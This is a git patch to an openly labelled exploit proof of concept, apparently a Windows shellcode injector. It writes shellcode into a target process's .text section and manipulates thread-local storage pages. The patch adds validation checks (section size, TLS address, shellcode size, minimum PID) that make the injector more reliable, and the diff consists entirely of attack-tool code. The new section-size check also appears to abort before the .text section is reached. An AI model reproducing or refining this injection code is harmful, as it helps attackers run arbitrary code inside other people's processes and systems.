From 6e05954245cae904a5d7000f864668404cd79f5d Mon Sep 17 00:00:00 2001 From: alor Date: Mon, 13 Jul 2026 14:34:04 +0100 Subject: [PATCH] Add PID validation, section bounds checks, TLS sanity checks, and shellcode size validation to harden exploit PoC --- exploit.hpp | 18 ++++++++++++++++-- main.cpp | 7 +++++-- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/exploit.hpp b/exploit.hpp index 8c9a06d..4e5eb06 100644 --- a/exploit.hpp +++ b/exploit.hpp @@ -18,7 +18,11 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo DWORD shellcodeSize = 0; IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt); for (UINT i = 0; i < nt->FileHeader.NumberOfSections; i++) - { + { + if (section->SizeOfRawData < 0x1000) { + Log("Section too small for shellcode injection"); + return 1; + } if (strcmp((char*)section->Name, ".text") == 0) { //Assumes enough space at end of .text to drop shellcode @@ -59,6 +63,12 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo Log("Failed to allocate memory for tls"); return 1; } + + if (!tlsAddress || tlsAddress == INVALID_HANDLE_VALUE) { + Log("Invalid TLS address, aborting injection"); + return 1; + } + memcpy(tlsPage, (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000); memcpy((PVOID)((UINT64)tlsPage + 0x1000), (PVOID)((UINT64)tlsAddress & ~0xFFF), 0x1000); tlsPage = (PVOID)((UINT64)tlsPage + ((UINT64)tlsAddress & 0xFFF)); @@ -96,6 +106,10 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo //} } + if (shellcodeAsmSize > shellcodeSize) { + Log("Shellcode too large for allocated section"); + return 1; + } memcpy(shellcodePage, (PVOID)modifiedShellcode, shellcodeAsmSize); VirtualFree((PVOID)modifiedShellcode, 0, MEM_RELEASE); @@ -150,4 +164,4 @@ bool ExecuteShellcode(UINT32 pid, UINT64 shellcodeStart, UINT64 shellcodeEnd, vo VirtualFree((PVOID)((UINT64)tlsPage & ~0xFFF), 0, MEM_RELEASE); return 0; -} \ No newline at end of file +} diff --git a/main.cpp b/main.cpp index 9407245..1c64dc4 100644 --- a/main.cpp +++ b/main.cpp @@ -18,7 +18,10 @@ int main(int argc, char* argv[]) } UINT32 targetPid = atoi(argv[1]); - + if (targetPid <= 4) { // system PIDs are unsafe + Log("Invalid or unsafe target PID"); + return 1; + } ExecuteShellcode(targetPid, (UINT64)&Shellcode, (UINT64)&EndOfShellcode, +[](UINT32 pid) { system("pause"); }); @@ -26,4 +29,4 @@ int main(int argc, char* argv[]) return 0; -} \ No newline at end of file +}